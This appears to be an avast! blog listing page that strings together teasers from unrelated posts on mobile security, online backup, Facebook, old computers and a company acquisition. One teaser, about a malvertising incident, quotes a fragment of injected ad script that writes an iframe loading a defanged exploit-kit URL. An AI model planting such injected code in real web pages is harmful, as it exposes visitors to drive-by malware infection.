This issue was discovered and researched by us; we have been in contact with Microsoft engineers for the past few months to fix this problem. The aim of this blog post is to explain the problem, the risks, and possible consequences of the fix.
With the introduction of our new mobile product, avast! Free Mobile Security, we officially entered the mobile security business. While most of the feedback we have seen to date has been very positive, some of the reviews and comments on the Android market indicate that some people are a bit confused about the product and its features. This blog post was meant to explain some of the concepts and hopefully help resolve some of the confusion. It is structured as questions and answers. If you have additional questions, please feel free to post a comment below or head to our forum.
1. Why should I install a security product on my phone? There’s no viruses anyway, right?
First, it’s important to realize that the product goes well beyond malware protection. Components like Anti-theft, Firewall, SMS and call filtering and Application management are very useful irrespective of the malware situation and are all a good reason to install the product.
However, even the malware situation is not that great. To date, we have registered about 4,000 unique apps that exhibit malicious behavior. Most of them were pulled from the market relatively soon (some didn’t even make it to the market), but we dare to say that we can detect them faster.
Also, some of the threats are completely platform independent. A great example is phishing. Here’s how it works: you are sent a link to a website that looks and feels exactly like your online banking site, but in fact it’s a fake site whose purpose is to capture your credentials and steal your money. This has been a long-time classic on the desktop, but as people start browsing the web using their mobile devices it’s also becoming a problem here. Therefore, it does make sense to have an app that will alert you whenever you do something stupid like this (in case of avast! Mobile Security, the Web Shield component takes care phishing URL filtering). Especially given it’s free.
When a fire blazes, a thief strikes or a cup of coffee spills, having a backup copy of your computer files is a major relief. Hardware can be replaced, but retrieving precious photos, your extensive music collection and the past few years’ tax returns – well, not so simple – until now.
Avast! BackUp is an online backup and recovery service that allows you to select sets of data or individual files you want to back up. For example, if you only want to back up your music, you could choose files with .mp3 extensions, or, like me, if you want a backup of Outlook to preserve work contacts, you can choose Outlook email and contacts. For a second level of protection you can also back up to a local external drive.
History fans can do more than just learn about a vanished empire in the Sahara. When they visit Archaeology.org, the online publication of the Archaeological Institute of America, they can also pick up malware via an infected advertisement on the page.
“It’s a blackhole attack through advertisements, OpenX in this case,” confirmed Jiri Sejtko, senior virus analyst at the AVAST Virus Lab. “Here it is: OA_output['16'] += “<”+…. document.write(\’<”+”iframe src=\”hxxp://hdfh11.coom.in/main.php?page=423b262d0a1a9f70\”
OpenX is an open-source platform for exchanging advertisements. The blackhole toolkit is, in a nutshell, a system for delivering a wide range of malware. “It could be almost anything, for example a worm or fake antivirus,” added Jiri.
This latest bit of malware was uncovered by computer users researching the hotlinks on a recent National Geographic article http://news.nationalgeographic.com/news/2011/11/111111-sahara-libya-lost-civilization-science-satellites/ and the Discover magazine article Satellite Photos Show Ancient Saharan Fortresses of a Lost Empire. Read more…
Yes, most of us complain about all the seemingly unnecessary changes that Facebook initiates far more often than we’d like (just about the time we figure out how to navigate everything)… but it’s good to remember that Facebook is a free service. Of course some will argue that nothing is really ‘free’, but at least +140 million active avast! Community members know differently.
Some of you will remember the days of Rolodex. Mine was typically overfilled with business cards and scraps of paper – taped, glued, or even stapled in place. Sometimes a few ‘creative’ oversized business cards or paper scraps would clog up the ‘machine’, and maintaining changes to phone numbers, addresses, and job titles was always a major problem.
So Facebook, for me, was a welcome change. All my contacts keep their own info updated, and I can find them at any time via the search box. And my Facebook account serves 4 key purposes:
The recent passing of Steve Jobs prompted several conversations in the office, or at least in the Marketing/PR department, about old technologies and how/where they’ve gone. We’re amazed if/when we stumble onto a computer with an old floppy-disk drive nowadays, but in 2006 when I moved to Prague I actually brought a few old 3.5″ disks with me, as they had some stuff on them that I’d not yet saved elsewhere. I remember that by 2009 I had a difficult time finding anyone – even among my IT friends – who had a floppy drive, and fortunately I was able to find one at Anglo-American University Library, where my librarian friends were kind enough to let me use it, to at least save everything to an external USB drive.
In spirit, I could be like Henry David Thoreau, living out my days reading and writing by lamplight in an old cabin in the woods (not at Walden Pond, but somewhere in neighboring Slovakia’s High Tatra Mountains), with no electricity or plumbing. But I really do like electronic gadgets, even though I may be many years behind the mainstream in terms of adoption – i.e., I’ve still never played with a smartphone or a GPS device, and foursquare is to me a game I played in elementary school.
What I would rather play with is my ’81 Gibson Les Paul through an old tube amplifier… making it louder until the volume knob is around 7… and then dialing in that sweet distortion one finds between 7 and 10 (at least on my little ‘60s Epiphone amp) and playing until sunrise, until my fingers start to bleed. Read more…
I bet most of you have seen the ‘80s Back to the Future trilogy. Back then it had
great special effects, hi-tech equipment, impressive cars and tricks, but there was also a great theme in which the main hero goes back to the past…
You might be wondering how does it relate to avast! antivirus? Well all of us have a bit of nostalgia for the past, a time when we didn’t use PCs and there were no viruses.
So, the other day I asked my colleagues in our marketing/PR department: do you remember your first PC or the first virus you caught?
I was surprised what kind of discussion it has opened and how excited everyone was about it. So here we go (in alphabetical order):
Jason – Copywriter
First real computer I ever used (at school): Commodore 64 (circa 1986-7) with a cassette-tape drive.
First real computer I actually owned was an HP desktop I bought in 1997 (with Windows 95 and McAfee antivirus (avast! engine!!)). I had it until 2002, when I upgraded to a Gateway desktop with Windows XP, which I think came with Symantec/Norton(?)… which I did not renew, instead using free antivirus software (ZoneAlarm, AVG, avast!) from then on.
Milos – Marketing Director
I was a poor kid from a poor village. No computers. Just socialism. Left and right… everywhere you looked. Firsthand experience was the computer lab at school when I lived for a while in Modesto, California, in 1992/1993. PC, Macs and – listen carefully – Amiga.
I hated Mac because the only way to get the floppy disk out was through the software-eject button. So when it crashed – and it was crashing all the time – your disk was in there and impossible to get out.
The PC on the other hand was excellent.
And of course the Amiga… I learned how to animate and draw on it. It was THE computer for graphics!
It’s hard to count on popularity. WebRep, the avast! browser plugin that gives users a reputation rating for visited websites, faced scalability issues soon after its launch in early 2011. The number of users shot past the original expectations and the incoming opinions were overwhelming the system.
We started WebRep with the ability to process 10,000 user responses a second, but the system was getting overwhelmed as the number of responses jumped to the 100,000 level. Read more…
For those interested in all things Android, I have some exciting news. AVAST Software has acquired ITAgents, the Austrian developer of the Theft Aware mobile phone theft protection and recovery system.
The acquisition strengthens AVAST’s technology base and gives us a hands-on security app designed for today’s Android-powered smartphones. Read more…